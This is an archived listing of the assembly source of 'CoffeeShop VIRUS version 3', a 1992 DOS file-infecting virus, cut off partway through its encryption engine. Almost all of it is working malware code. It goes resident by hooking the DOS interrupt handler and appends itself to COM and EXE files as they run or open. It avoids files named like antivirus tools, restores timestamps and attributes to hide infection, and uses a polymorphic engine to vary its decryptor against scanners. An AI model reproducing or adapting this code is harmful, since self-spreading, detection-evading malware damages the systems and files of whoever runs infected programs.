home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / COFFSHP3.ASM < prev    next >
Assembly Source File  |  1992-10-27  |  61KB  |  1,674 lines

  1. ;******************************************************************************
  2. ;*  CoffeeShop VIRUS     version 3
  3. ;*
  4. ;*  Use MASM 4.0 to compile this source
  5. ;*  (other assemblers will probably not produce the same result)
  6. ;*
  7. ;*  Disclaimer:
  8. ;*  This file is only for educational purposes. The author takes no
  9. ;*  responsibility for anything anyone does with this file. Do not
  10. ;*  modify this file!
  11. ;******************************************************************************
  12.  
  13.  
  14.                 .RADIX  16
  15.  
  16.  
  17. _TEXT           segment
  18.  
  19.                 assume  cs:_TEXT, ds:_TEXT
  20.  
  21.  
  22. VERSION         equ     3
  23. PICLEN          equ     last - beeld            ;length of picture routine
  24. FILELEN         equ     last - first            ;length of virus
  25. FILEPAR         equ     (FILELEN + 0F)/10       ;length of virus in paragraphs
  26. VIRPAR          equ     00D0                    ;space for resident virus
  27. WORKPAR         equ     0160                    ;work space for engine
  28. STACKOFF        equ     1000                    ;Stack offset
  29. DATAPAR         equ     0050                    ;extra memory allocated
  30. BUFLEN          equ     1C                      ;length of buffer
  31.  
  32.  
  33. ;****************************************************************************
  34. ;*              data area for virus
  35. ;****************************************************************************
  36.  
  37.                 org     00E0
  38.  
  39. mutstack        dw      0, 0
  40. oldlen          dw      0, 0
  41. oi21            dw      0, 0
  42. minibuf         db      0, 0, 0, 0
  43.  
  44.  
  45. ;****************************************************************************
  46. ;*              data area for engine
  47. ;****************************************************************************
  48.  
  49. add_val         dw      0
  50. xor_val         dw      0
  51. xor_offset      dw      0
  52. where_len       dw      0
  53. where_len2      dw      0
  54. flags           db      0
  55.  
  56.  
  57. ;******************************************************************************
  58. ;*              Begin of virus, installation in memory
  59. ;******************************************************************************
  60.  
  61.                 org     0100
  62.  
  63. first:          call    next                    ;get IP
  64. next:           pop     si
  65.  
  66.                 sub     si,low 3                ;SI = begin virus
  67.                 mov     di,0100
  68.                 cld
  69.  
  70.                 push    ax                      ;save registers
  71.                 push    ds
  72.                 push    es
  73.                 push    di
  74.                 push    si
  75.  
  76.                 mov     ah,30                   ;DOS version >= 3.1?
  77.                 int     21
  78.                 xchg    ah,al
  79.                 cmp     ax,030A
  80.                 jb      not_install
  81.  
  82.                 mov     ax,33DA                 ;already resident?
  83.                 int     21
  84.                 cmp     ah,0A5
  85.                 je      not_install
  86.  
  87.                 mov     ax,es                   ;adjust memory-size
  88.                 dec     ax
  89.                 mov     ds,ax
  90.                 xor     bx,bx
  91.                 cmp     byte ptr [bx],5A
  92.                 jne     not_install
  93.                 mov     ax,[bx+3]
  94.                 sub     ax,(VIRPAR+WORKPAR)
  95.                 jb      not_install
  96.                 mov     [bx+3],ax
  97.                 sub     word ptr ds:[bx+12],(VIRPAR+WORKPAR)
  98.  
  99.                 mov     es,[bx+12]              ;copy program to top
  100.                 push    cs
  101.                 pop     ds
  102.                 mov     cx,FILELEN
  103.         rep     movsb
  104.  
  105.                 push    es
  106.                 pop     ds
  107.  
  108.                 mov     ax,3521                 ;get original int21 vector
  109.                 int     21
  110.                 mov     ds:[oi21],bx
  111.                 mov     ds:[oi21+2],es
  112.  
  113.                 mov     dx,offset ni21          ;install new int21 handler
  114.                 mov     ax,2521
  115.                 int     21
  116.  
  117.                 mov     ax,33DBh                ;init. random nr. generator
  118.                 int     21
  119.  
  120.                 mov     ah,2A                   ;ask date
  121.                 int     21
  122.                 cmp     al,5                    ;friday ?
  123.                 jne     not_install
  124.                 mov     ah,2C                   ;ask time
  125.                 int     21
  126.                 or      dh,dh                   ;sec = 0 ?
  127.                 jnz     not_install
  128.                 
  129.                 mov     ax,33DC                 ;show picture
  130.                 int     21
  131.  
  132. not_install:    pop     si                      ;restore registers
  133.                 pop     di
  134.                 pop     es
  135.                 pop     ds
  136.                 pop     ax
  137.  
  138.                 add     si,(offset buffer)
  139.                 sub     si,di
  140.                 cmp     byte ptr cs:[si],4Dh    ;COM or EXE ?
  141.                 je      entryE
  142.  
  143. entryC:         push    di
  144.                 mov     cx,BUFLEN
  145.         rep     movsb
  146.                 ret
  147.  
  148. entryE:         mov     bx,ds                   ;calculate CS
  149.                 add     bx,low 10
  150.                 mov     cx,bx
  151.                 add     bx,cs:[si+0E]
  152.                 cli                             ;restore SS and SP
  153.                 mov     ss,bx
  154.                 mov     sp,cs:[si+10]
  155.                 sti
  156.                 add     cx,cs:[si+16]
  157.                 push    cx                      ;push new CS on stack
  158.                 push    cs:[si+14]              ;push new IP on stack
  159.                 db      0CBh                    ;retf
  160.  
  161.  
  162. ;******************************************************************************
  163. ;*              Interupt 24 handler
  164. ;******************************************************************************
  165.  
  166. ni24:           mov     al,3                    ;to avoid 'Abort, Retry, ...'
  167.                 iret
  168.  
  169.  
  170. ;******************************************************************************
  171. ;*              Interupt 21 handler
  172. ;******************************************************************************
  173.  
  174. ni21:           pushf
  175.  
  176.                 cmp     ax,33DA                 ;install-check ?
  177.                 jne     not_ic
  178.                 mov     ax,0A500+VERSION        ;return a signature
  179.                 popf
  180.                 iret
  181.  
  182. not_ic:         push    es                      ;save registers
  183.                 push    ds
  184.                 push    si
  185.                 push    di
  186.                 push    dx
  187.                 push    cx
  188.                 push    bx
  189.                 push    ax
  190.  
  191.                 cmp     ax,33DBh                ;rnd init ?
  192.                 jne     not_ri
  193.                 call    rnd_init
  194.                 jmp     short no_infect
  195.  
  196. not_ri:         cmp     ax,33DC                 ;show picture?
  197.                 je      show_pic
  198.  
  199. not_pi:         cmp     ax,4B00                 ;execute ?
  200.                 je      do_it
  201.  
  202.                 cmp     ax,6C00                 ;open DOS 4.0+ ?
  203.                 jne     no_infect
  204.                 test    bl,3
  205.                 jnz     no_infect
  206.                 mov     dx,di
  207.  
  208. do_it:          call    infect
  209.  
  210. no_infect:      pop     ax                      ;restore registers
  211.                 pop     bx
  212.                 pop     cx
  213.                 pop     dx
  214.                 pop     di
  215.                 pop     si
  216.                 pop     ds
  217.                 pop     es
  218.                 popf
  219.  
  220. org21:          jmp     dword ptr cs:[oi21]     ;call to old int-handler
  221.  
  222.  
  223. ;******************************************************************************
  224. ;*              Show picture
  225. ;******************************************************************************
  226.  
  227. show_pic:       mov     ax,offset no_infect     ;push return adres on stack
  228.                 push    cs
  229.                 push    ax
  230.  
  231.                 mov     di,((VIRPAR*10)+0100)   ;move picture routine
  232.                 mov     si,offset beeld
  233.                 mov     cx,PICLEN
  234.                 push    cs
  235.                 pop     ds
  236.                 push    cs
  237.                 pop     es
  238.         rep     movsb
  239.  
  240.                 mov     ax,cs                   ;calculate segment registers
  241.                 add     ax,low VIRPAR
  242.                 mov     ds,ax
  243.                 mov     es,ax
  244.  
  245.                 push    ax                      ;push picture adres on stack
  246.                 mov     ax,0100
  247.                 push    ax
  248.  
  249.                 db      0CBh                    ;(retf) goto picture routine
  250.  
  251.  
  252. ;******************************************************************************
  253. ;*              Tries to infect the file
  254. ;******************************************************************************
  255.  
  256. infect:         cld
  257.  
  258.                 push    cs                      ;copy filename to CS:0000
  259.                 pop     es
  260.                 mov     si,dx
  261.                 xor     di,di
  262.                 mov     cx,0080
  263. namemove:       lodsb
  264.                 cmp     al,0
  265.                 je      moved
  266.                 cmp     al,'a'
  267.                 jb      char_ok
  268.                 cmp     al,'z'
  269.                 ja      char_ok
  270.                 xor     al,20                   ;convert to upper case
  271. char_ok:        stosb
  272.                 loop    namemove
  273. return0:        ret
  274.  
  275. moved:          stosb                           ;put last zero after filename
  276.                 lea     si,[di-5]
  277.                 push    cs
  278.                 pop     ds
  279.                 
  280.                 lodsw                           ;check extension .COM or .EXE
  281.                 cmp     ax,'E.'
  282.                 jne     not_exe
  283.                 lodsw
  284.                 cmp     ax,'EX'
  285.                 jmp     short check
  286.  
  287. not_exe:        cmp     ax,'C.'
  288.                 jne     return0
  289.                 lodsw
  290.                 cmp     ax,'MO'
  291. check:          jne     return0
  292.  
  293.                 std                             ;find begin of filename
  294.                 mov     cx,si
  295.                 inc     cx
  296. searchbegin:    lodsb
  297.                 cmp     al,':'
  298.                 je      checkname
  299.                 cmp     al,'\'
  300.                 je      checkname
  301.                 loop    searchbegin
  302.                 dec     si
  303.  
  304. checkname:      cld                             ;check filename
  305.                 lodsw
  306.                 lodsw
  307.                 mov     di,offset names
  308.                 mov     cl,13
  309.         repnz   scasw
  310.                 je      return0
  311.  
  312.                 mov     ax,3300                 ;get ctrl-break flag
  313.                 int     21
  314.                 push    dx                      ;save flag on stack
  315.  
  316.                 cwd                             ;clear the flag
  317.                 inc     ax
  318.                 push    ax
  319.                 int     21
  320.  
  321.                 mov     ax,3524                 ;get int24 vector
  322.                 int     21
  323.                 push    es                      ;save vector on stack
  324.                 push    bx
  325.  
  326.                 push    cs
  327.                 pop     ds
  328.  
  329.                 mov     dx,offset ni24          ;install new int24 handler
  330.                 mov     ah,25
  331.                 push    ax
  332.                 int     21
  333.  
  334.                 mov     ax,4300                 ;ask file-attributes
  335.                 cwd
  336.                 int     21
  337.                 push    cx                      ;save attributes on stack
  338.  
  339.                 xor     cx,cx                   ;clear attributes
  340.                 mov     ax,4301
  341.                 push    ax
  342.                 int     21
  343.                 jc      return1v
  344.  
  345.                 mov     ax,3D02                 ;open the file
  346.                 int     21
  347.                 jnc     opened
  348. return1v:       jmp     return1
  349.  
  350. opened:         xchg    ax,bx                   ;save handle
  351.  
  352.                 mov     ax,5700                 ;get file date & time
  353.                 int     21
  354.                 push    dx                      ;save date & time on stack
  355.                 push    cx
  356.  
  357.                 mov     cx,BUFLEN               ;read begin of file
  358.                 mov     si,offset buffer
  359.                 mov     dx,si
  360.                 call    read
  361.                 jc      closev
  362.  
  363.                 mov     ax,4202                 ;goto end, get filelength
  364.                 xor     cx,cx
  365.                 cwd
  366.                 int     21
  367.  
  368.                 mov     di,offset oldlen        ;save filelength
  369.                 mov     [di],ax
  370.                 mov     [di+2],dx
  371.  
  372.                 mov     ax,word ptr [si+12]     ;already infected?
  373.                 add     al,ah
  374.                 cmp     al,'@'
  375.                 jz      closev
  376.  
  377.                 cmp     word ptr [si],'ZM'      ;EXE ?
  378.                 je      do_EXE
  379.  
  380. do_COM:         test    byte ptr [si],80        ;maybe a strange EXE?
  381.                 jz      closev
  382.  
  383.                 mov     ax,word ptr [di]        ;check lenght of file
  384.                 cmp     ah,0D0
  385.                 jae     closev
  386.                 cmp     ah,1
  387.                 jb      closev
  388.  
  389.                 mov     dx,ax
  390.                 add     dx,0100
  391.                 call    writeprog               ;call Engine and write virus
  392.                 jne     closev
  393.  
  394.                 mov     byte ptr [si],0E9       ;put 'JMP xxxx' at begin
  395.                 sub     ax,low 3
  396.                 mov     word ptr [si+1],ax
  397.                 jmp     done
  398.  
  399. closev:         jmp     close
  400.  
  401. do_EXE:         cmp     word ptr [si+18],40     ;is it a windows/OS2 EXE ?
  402.                 jb      not_win
  403.  
  404.                 mov     ax,003C
  405.                 cwd
  406.                 call    readbytes
  407.                 jc      closev
  408.  
  409.                 mov     ax,word ptr [di+8]
  410.                 mov     dx,word ptr [di+0A]
  411.                 call    readbytes
  412.                 jc      closev
  413.                 
  414.                 cmp     byte ptr [di+9],'E'
  415.                 je      closev
  416.  
  417. not_win:        call    getlen
  418.                 call    calclen                 ;check for internal overlays
  419.                 cmp     word ptr [si+4],ax
  420.                 jne     close
  421.                 cmp     word ptr [si+2],dx
  422.                 jne     close
  423.  
  424.                 cmp     word ptr [si+0C],0      ;high memory allocation?
  425.                 je      close
  426.  
  427.                 cmp     word ptr [si+1A],0      ;overlay nr. not zero?
  428.                 jne     close
  429.  
  430.                 call    getlen                  ;calculate new CS & IP
  431.                 mov     cx,0010
  432.                 div     cx
  433.                 sub     ax,word ptr [si+8]
  434.                 dec     ax
  435.                 add     dx,low 10
  436.  
  437.                 call    writeprog               ;call Engine and write virus
  438.                 jne     close
  439.  
  440.                 mov     word ptr [si+16],ax     ;put CS in header
  441.                 mov     word ptr [si+0E],ax     ;put SS in header
  442.                 mov     word ptr [si+14],dx     ;put IP in header
  443.                 mov     word ptr [si+10],STACKOFF  ;put SP in header
  444.  
  445.                 call    getlen
  446.                 add     ax,cx
  447.                 adc     dx,0
  448.                 call    calclen                 ;put new length in header
  449.                 mov     word ptr [si+4],ax
  450.                 mov     word ptr [si+2],dx
  451.  
  452.                 lea     di,[si+0A]              ;adjust mem. allocation info
  453.                 call    mem_adjust
  454.                 lea     di,[si+0C]
  455.                 call    mem_adjust
  456.  
  457. done:           call    gotobegin
  458.                 call    rnd_get                 ;signature
  459.                 mov     ah,'@'
  460.                 sub     ah,al
  461.                 mov     word ptr [si+12],ax
  462.                 mov     cx,BUFLEN               ;write new begin
  463.                 mov     dx,si
  464.                 mov     ah,40
  465.                 int     21
  466.  
  467. close:          pop     cx                      ;restore date & time
  468.                 pop     dx
  469.                 mov     ax,5701
  470.                 int     21
  471.  
  472.                 mov     ah,3E                   ;close the file
  473.                 int     21
  474.  
  475. return1:        pop     ax                      ;restore attributes
  476.                 pop     cx
  477.                 cwd
  478.                 int     21
  479.  
  480.                 pop     ax                      ;restore int24 vector
  481.                 pop     dx
  482.                 pop     ds
  483.                 int     21
  484.  
  485.                 pop     ax                      ;restore ctrl-break flag
  486.                 pop     dx
  487.                 int     21
  488.  
  489.                 ret
  490.  
  491.  
  492. ;******************************************************************************
  493. ;*              Filenames to avoid
  494. ;******************************************************************************
  495.  
  496. names:          db      'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
  497.                 db      'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', '  '
  498.                 db      '  ', '  ', '  '
  499.  
  500.  
  501. ;******************************************************************************
  502. ;*              Write virus to the program
  503. ;******************************************************************************
  504.  
  505. writeprog:      push    ax                      ;save registers
  506.                 push    dx
  507.                 push    si
  508.                 push    bp
  509.                 push    es
  510.  
  511.                 cli
  512.                 mov     word ptr [di-4],ss      ;save SS & SP
  513.                 mov     word ptr [di-2],sp
  514.  
  515.                 mov     ax,cs                   ;new stack & buffer-segment
  516.                 mov     ss,ax
  517.                 mov     sp,((VIRPAR + WORKPAR) * 10)
  518.                 add     ax,low VIRPAR
  519.                 mov     es,ax
  520.                 sti
  521.  
  522.                 push    ds
  523.  
  524.                 mov     bp,dx                   ;input parameters for engine
  525.                 mov     dx,0100
  526.                 mov     cx,FILELEN
  527.                 xor     si,si
  528.                 mov     al,0Fh
  529.  
  530.                 push    di
  531.                 push    bx
  532.  
  533.                 call    crypt                   ;call the Engine
  534.  
  535.                 pop     bx
  536.                 pop     di
  537.  
  538.                 push    cx
  539.                 push    dx
  540.                 mov     ax,4202                 ;goto end
  541.                 xor     cx,cx
  542.                 cwd
  543.                 int     21
  544.                 pop     dx
  545.                 pop     cx
  546.  
  547.                 mov     ah,40                   ;write virus
  548.                 int     21
  549.                 cmp     ax,cx                   ;are all bytes written?
  550.  
  551.                 pop     ds
  552.  
  553.                 cli
  554.                 mov     ss,word ptr [di-4]      ;restore stack
  555.                 mov     sp,word ptr [di-2]
  556.                 sti
  557.  
  558.                 pop     es                      ;restore registers
  559.                 pop     bp
  560.                 pop     si
  561.                 pop     dx
  562.                 pop     ax
  563.  
  564.                 ret
  565.  
  566.  
  567. ;******************************************************************************
  568. ;*              Adjust mem allocation info in EXE header
  569. ;******************************************************************************
  570.  
  571. mem_adjust:     mov     ax,[di]
  572.                 sub     ax,low FILEPAR          ;alloc. may be this much less
  573.                 jb      more
  574.                 cmp     ax,DATAPAR              ;minimum amount to allocate
  575.                 jae     mem_ok
  576. more:           mov     ax,DATAPAR
  577. mem_ok:         mov     [di],ax
  578.                 ret
  579.  
  580.  
  581. ;******************************************************************************
  582. ;*              Read a few bytes
  583. ;******************************************************************************
  584.  
  585. readbytes:      call    goto
  586.                 mov     dx,offset minibuf
  587.                 mov     cx,4
  588. read:           mov     ah,3F
  589.                 int     21
  590.                 ret
  591.  
  592.  
  593. ;******************************************************************************
  594. ;*              Calculate length for EXE header
  595. ;******************************************************************************
  596.  
  597. calclen:        mov     cx,0200
  598.                 div     cx
  599.                 or      dx,dx
  600.                 jz      no_cor
  601.                 inc     ax
  602. no_cor:         ret
  603.  
  604.  
  605. ;******************************************************************************
  606. ;*              Get original length of program
  607. ;******************************************************************************
  608.  
  609. getlen:         mov     ax,[di]
  610.                 mov     dx,[di+2]
  611.                 ret
  612.  
  613.  
  614. ;******************************************************************************
  615. ;*              Goto new offset DX:AX
  616. ;******************************************************************************
  617.  
  618. gotobegin:      xor     ax,ax
  619.                 cwd
  620. goto:           xchg    cx,dx
  621.                 xchg    ax,dx
  622.                 mov     ax,4200
  623.                 int     21
  624.                 ret
  625.  
  626.  
  627. ;****************************************************************************
  628. ;*
  629. ;*              Encryption Engine
  630. ;*
  631. ;*
  632. ;*      Input:  ES      work segment
  633. ;*              DS:DX   code to encrypt
  634. ;*              BP      what will be start of decryptor
  635. ;*              SI      what will be distance between decryptor and code
  636. ;*              CX      length of code
  637. ;*              AX      flags: bit 0: DS will not be equal to CS
  638. ;*                             bit 1: insert random instructions
  639. ;*                             bit 2: put junk before decryptor
  640. ;*                             bit 3: preserve AX with decryptor
  641. ;*
  642. ;*      Output: ES:     work segment (preserved)
  643. ;*              DS:DX   decryptor + encrypted code
  644. ;*              BP      what will be start of decryptor (preserved)
  645. ;*              DI      length of decryptor / offset of encrypted code
  646. ;*              CX      length of decryptor + encrypted code
  647. ;*              AX      length of encrypted code
  648. ;*              (other registers may be trashed)
  649. ;*
  650. ;****************************************************************************
  651.  
  652.                 db      '[ MK / Trident ]'
  653.  
  654. crypt:          xor     di,di                   ;di = start of decryptor
  655.                 push    dx                      ;save offset of code
  656.                 push    si                      ;save future offset of code
  657.  
  658.                 mov     byte ptr ds:[flags],al  ;save flags
  659.                 test    al,8                    ;push  AX?
  660.                 jz      no_push
  661.                 mov     al,50
  662.                 stosb
  663.  
  664. no_push:        call    rnd_get                 ;add a few bytes to cx
  665.                 and     ax,1F
  666.                 add     cx,ax
  667.                 push    cx                      ;save length of code
  668.  
  669.                 call    rnd_get                 ;get random flags
  670.                 xchg    ax,bx
  671.                                         ;BX flags:
  672.  
  673.                                         ;0,1    how to encrypt
  674.                                         ;2,3    which register for encryption
  675.                                         ;4      use byte or word for encrypt
  676.                                         ;5      MOV AL, MOV AH or MOV AX
  677.                                         ;6      MOV CL, MOV CH or MOV CX
  678.                                         ;7      AX or DX
  679.  
  680.                                         ;8      count up or down
  681.                                         ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
  682.                                         ;A      ADD/SUB or INC/DEC
  683.                                         ;       CMPSW or SCASW
  684.                                         ;B      offset in XOR instruction?
  685.                                         ;C      LOOPNZ or LOOP
  686.                                         ;       SUB CX or DEC CX
  687.                                         ;D      carry with crypt ADD/SUB
  688.                                         ;E      carry with inc ADD/SUB
  689.                                         ;F      XOR instruction value or AX/DX
  690.  
  691. random:         call    rnd_get                 ;get random encryption value
  692.                 or      al,al
  693.                 jz      random                  ;again if 0
  694.                 mov     ds:[xor_val],ax
  695.  
  696.                 call    do_junk                 ;insert random instructions
  697.  
  698.                 pop     cx
  699.  
  700.                 mov     ax,0111                 ;make flags to remember which
  701.                 test    bl,20                   ;  MOV instructions are used
  702.                 jnz     z0
  703.                 xor     al,07
  704. z0:             test    bl,0C
  705.                 jnz     z1
  706.                 xor     al,70
  707. z1:             test    bl,40
  708.                 jnz     z2
  709.                 xor     ah,7
  710. z2:             test    bl,10
  711.                 jnz     z3
  712.                 and     al,73
  713. z3:             test    bh,80
  714.                 jnz     z4
  715.                 and     al,70
  716.  
  717. z4:             mov     dx,ax
  718. mov_lup:        call    rnd_get                 ;put MOV instructions in
  719.                 and     ax,000F                 ;  a random order
  720.                 cmp     al,0A
  721.                 ja      mov_lup
  722.  
  723.                 mov     si,ax
  724.                 push    cx                      ;test if MOV already done
  725.                 xchg    ax,cx
  726.                 mov     ax,1
  727.                 shl     ax,cl
  728.                 mov     cx,ax
  729.                 and     cx,dx
  730.                 pop     cx
  731.                 jz      mov_lup
  732.                 xor     dx,ax                   ;remember which MOV done
  733.  
  734.                 push    dx
  735.                 call    do_mov                  ;insert MOV instruction
  736.                 call    do_nop                  ;insert a random NOP
  737.                 pop     dx
  738.  
  739.                 or      dx,dx                   ;all MOVs done?
  740.                 jnz     mov_lup
  741.  
  742.                 push    di                      ;save start of decryptor loop
  743.  
  744.                 call    do_add_ax               ;add a value to AX in loop?
  745.                 call    do_nop
  746.                 test    bh,20                   ;carry with ADD/SUB ?
  747.                 jz      no_clc
  748.                 mov     al,0F8
  749.                 stosb
  750. no_clc:         mov     word ptr ds:[xor_offset],0
  751.                 call    do_xor                  ;place all loop instructions
  752.                 call    do_nop
  753.                 call    do_add
  754.  
  755.                 pop     dx                      ;get start of decryptor loop
  756.  
  757.                 call    do_loop
  758.  
  759.                 test    byte ptr ds:[flags],8   ;insert POP AX ?
  760.                 jz      no_pop
  761.                 mov     al,58
  762.                 stosb
  763.  
  764. no_pop:         xor     ax,ax                   ;calculate loop offset
  765.                 test    bh,1                    ;up or down?
  766.                 jz      v1
  767.                 mov     ax,cx
  768.                 dec     ax
  769.                 test    bl,10                   ;encrypt with byte or word?
  770.                 jz      v1
  771.                 and     al,0FE
  772. v1:             add     ax,di
  773.                 add     ax,bp
  774.                 pop     si
  775.                 add     ax,si
  776.                 sub     ax,word ptr ds:[xor_offset]
  777.                 mov     si,word ptr ds:[where_len]
  778.                 test    bl,0C                   ;are BL,BH used for encryption?
  779.                 jnz     v2
  780.                 mov     byte ptr es:[si],al
  781.                 mov     si,word ptr ds:[where_len2]
  782.                 mov     byte ptr es:[si],ah
  783.                 jmp     short v3
  784. v2:             mov     word ptr es:[si],ax
  785.  
  786. v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value
  787.  
  788.                 pop     si                      ;ds:si = start of code
  789.  
  790.                 push    di                      ;save ptr to encrypted code
  791.                 push    cx                      ;save length of encrypted code
  792.  
  793.                 test    bl,10                   ;byte or word?
  794.                 jz      blup
  795.  
  796.                 inc     cx                      ;cx = # of crypts (words)
  797.                 shr     cx,1
  798.  
  799. lup:            lodsw                           ;encrypt code (words)
  800.                 call    do_encrypt
  801.                 stosw
  802.                 loop    lup
  803.                 jmp     short klaar
  804.  
  805.  
  806. blup:           lodsb                           ;encrypt code (bytes)
  807.                 xor     dh,dh
  808.                 call    do_encrypt
  809.                 stosb
  810.                 loop    blup
  811.  
  812. klaar:          mov     cx,di                   ;cx = length decryptpr + code
  813.                 pop     ax                      ;ax = length of decrypted code
  814.                 pop     di                      ;di = offset encrypted code
  815.                 xor     dx,dx                   ;ds:dx = decryptor + cr. code
  816.                 push    es
  817.                 pop     ds
  818.                 ret
  819.  
  820.  
  821. ;****************************************************************************
  822. ;*              encrypt the code
  823. ;****************************************************************************
  824.  
  825. do_encrypt:     add     dx,word ptr ds:[add_val]
  826.                 test    bl,2
  827.                 jnz     lup1
  828.                 xor     ax,dx
  829.                 ret
  830.  
  831. lup1:           test    bl,1
  832.                 jnz     lup2
  833.                 sub     ax,dx
  834.                 ret
  835.  
  836. lup2:           add     ax,dx
  837.                 ret
  838.  
  839.  
  840. ;****************************************************************************
  841. ;*              generate mov reg,xxxx
  842. ;****************************************************************************
  843.  
  844. do_mov:         mov     dx,si
  845.                 mov     al,byte ptr ds:[si+mov_byte]
  846.                 cmp     dl,4                    ;BX?
  847.                 jne     is_not_bx
  848.                 call    add_ind
  849. is_not_bx:      test    dl,0C                   ;A*?
  850.                 pushf
  851.                 jnz     is_not_a
  852.                 test    bl,80                   ;A* or D*?
  853.                 jz      is_not_a
  854.                 add     al,2
  855.  
  856. is_not_a:       call    alter                   ;insert the MOV
  857.  
  858.                 popf                            ;A*?
  859.                 jnz     is_not_a2
  860.                 mov     ax,word ptr ds:[xor_val]
  861.                 jmp     short sss
  862.  
  863. is_not_a2:      test    dl,8                    ;B*?
  864.                 jnz     is_not_b
  865.                 mov     si,offset where_len                
  866.                 test    dl,2
  867.                 jz      is_not_bh
  868.                 add     si,2
  869. is_not_bh:      mov     word ptr ds:[si],di
  870.                 jmp     short sss
  871.  
  872. is_not_b:       mov     ax,cx                   ;C*
  873.                 test    bl,10                   ;byte or word encryption?
  874.                 jz      sss
  875.                 inc     ax                      ;only half the number of bytes
  876.                 shr     ax,1
  877. sss:            test    dl,3                    ;byte or word register?
  878.                 jz      is_x
  879.                 test    dl,2                    ;*H?
  880.                 jz      is_not_h
  881.                 xchg    al,ah
  882. is_not_h:       stosb
  883.                 ret
  884.  
  885. is_x:           stosw
  886.                 ret
  887.  
  888.  
  889. ;****************************************************************************
  890. ;*              insert MOV or alternative for MOV
  891. ;****************************************************************************
  892.  
  893. alter:          push    bx
  894.                 push    cx
  895.                 push    ax
  896.                 call    rnd_get
  897.                 xchg    ax,bx
  898.                 pop     ax
  899.                 test    bl,3                    ;use alternative for MOV?
  900.                 jz      no_alter
  901.  
  902.                 push    ax
  903.                 and     bx,0F
  904.                 and     al,08
  905.                 shl     ax,1
  906.                 or      bx,ax
  907.                 pop     ax
  908.  
  909.                 and     al,7
  910.                 mov     cl,9
  911.                 xchg    ax,cx
  912.                 mul     cl
  913.  
  914.                 add     ax,30C0
  915.                 xchg    al,ah
  916.                 test    bl,4
  917.                 jz      no_sub
  918.                 mov     al,28
  919. no_sub:         call    maybe_2
  920.                 stosw
  921.  
  922.                 mov     al,80
  923.                 call    maybe_2
  924.                 stosb
  925.  
  926.                 mov     ax,offset add_mode
  927.                 xchg    ax,bx
  928.                 and     ax,3
  929.                 xlat
  930.  
  931.                 add     al,cl
  932. no_alter:       stosb
  933.                 pop     cx
  934.                 pop     bx
  935.                 ret
  936.  
  937.  
  938. ;****************************************************************************
  939. ;*              insert ADD AX,xxxx
  940. ;****************************************************************************
  941.  
  942. do_add_ax:      push    cx
  943.                 mov     si,offset add_val       ;save add-value here
  944.                 mov     word ptr ds:[si],0
  945.                 mov     ax,bx
  946.                 and     ax,8110
  947.                 xor     ax,8010
  948.                 jnz     no_add_ax               ;use ADD?
  949.  
  950.                 mov     ax,bx
  951.                 xor     ah,ah
  952.                 mov     cl,3
  953.                 div     cl
  954.                 or      ah,ah
  955.                 jnz     no_add_ax               ;use ADD?
  956.  
  957.                 test    bl,80
  958.                 jnz     do_81C2                 ;AX or DX?
  959.                 mov     al,5
  960.                 stosb
  961.                 jmp     short do_add0
  962. do_81C2:        mov     ax,0C281
  963.                 stosw
  964. do_add0:        call    rnd_get
  965.                 mov     word ptr ds:[si],ax
  966.                 stosw
  967. no_add_ax:      pop     cx
  968.                 ret
  969.  
  970.  
  971. ;****************************************************************************
  972. ;*              generate encryption command
  973. ;****************************************************************************
  974.  
  975. do_xor:         test    byte ptr ds:[flags],1
  976.                 jz      no_cs
  977.                 mov     al,2E                   ;insert CS: instruction
  978.                 stosb
  979.  
  980. no_cs:          test    bh,80                   ;type of XOR command
  981.                 jz      xor1
  982.  
  983.                 call    get_xor                 ;encrypt with register
  984.                 call    do_carry
  985.                 call    save_it
  986.                 xor     ax,ax
  987.                 test    bl,80
  988.                 jz      xxxx
  989.                 add     al,10
  990. xxxx:           call    add_dir
  991.                 test    bh,8
  992.                 jnz     yyyy
  993.                 stosb
  994.                 ret
  995.  
  996. yyyy:           or      al,80
  997.                 stosb             
  998.                 call    rnd_get
  999.                 stosw
  1000.                 mov     word ptr ds:[xor_offset],ax
  1001.                 ret
  1002.  
  1003. xor1:           mov     al,080                  ;encrypt with value
  1004.                 call    save_it
  1005.                 call    get_xor
  1006.                 call    do_carry
  1007.                 call    xxxx
  1008.                 mov     ax,word ptr ds:[xor_val]
  1009.                 test    bl,10
  1010.                 jmp     byte_word
  1011.  
  1012.  
  1013. ;****************************************************************************
  1014. ;*              generate increase/decrease command
  1015. ;****************************************************************************
  1016.  
  1017. do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
  1018.                 jz      da0
  1019.                 test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
  1020.                 jnz     do_cmpsw
  1021.  
  1022. da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
  1023.                 jz      add1
  1024.  
  1025.                 mov     al,40                   ;INC/DEC
  1026.                 test    bh,1                    ;up or down?
  1027.                 jz      add0
  1028.                 add     al,8
  1029. add0:           call    add_ind
  1030.                 stosb
  1031.                 test    bl,10                   ;byte or word?
  1032.                 jz      return
  1033.                 stosb                           ;same instruction again
  1034. return:         ret
  1035.  
  1036. add1:           test    bh,40                   ;ADD/SUB
  1037.                 jz      no_clc2                 ;carry?
  1038.                 mov     al,0F8                  ;insert CLC
  1039.                 stosb
  1040. no_clc2:        mov     al,083
  1041.                 stosb
  1042.                 mov     al,0C0
  1043.                 test    bh,1                    ;up or down?
  1044.                 jz      add2
  1045.                 mov     al,0E8
  1046. add2:           test    bh,40                   ;carry?
  1047.                 jz      no_ac2
  1048.                 and     al,0CF
  1049.                 or      al,10
  1050. no_ac2:         call    add_ind
  1051.                 stosb
  1052.                 mov     al,1                    ;value to add/sub
  1053. save_it:        call    add_1
  1054.                 stosb
  1055.                 ret
  1056.  
  1057. do_cmpsw:       test    bh,1                    ;up or down?
  1058.                 jz      no_std
  1059.                 mov     al,0FDh                 ;insert STD
  1060.                 stosb
  1061. no_std:         test    bh,4                    ;CMPSW or SCASW?
  1062.                 jz      normal_cmpsw
  1063.                 test    bl,4                    ;no SCASW if SI is used
  1064.                 jnz     do_scasw
  1065.  
  1066. normal_cmpsw:   mov     al,0A6                  ;CMPSB
  1067.                 jmp     short save_it
  1068. do_scasw:       mov     al,0AE                  ;SCASB
  1069.                 jmp     short save_it
  1070.  
  1071.  
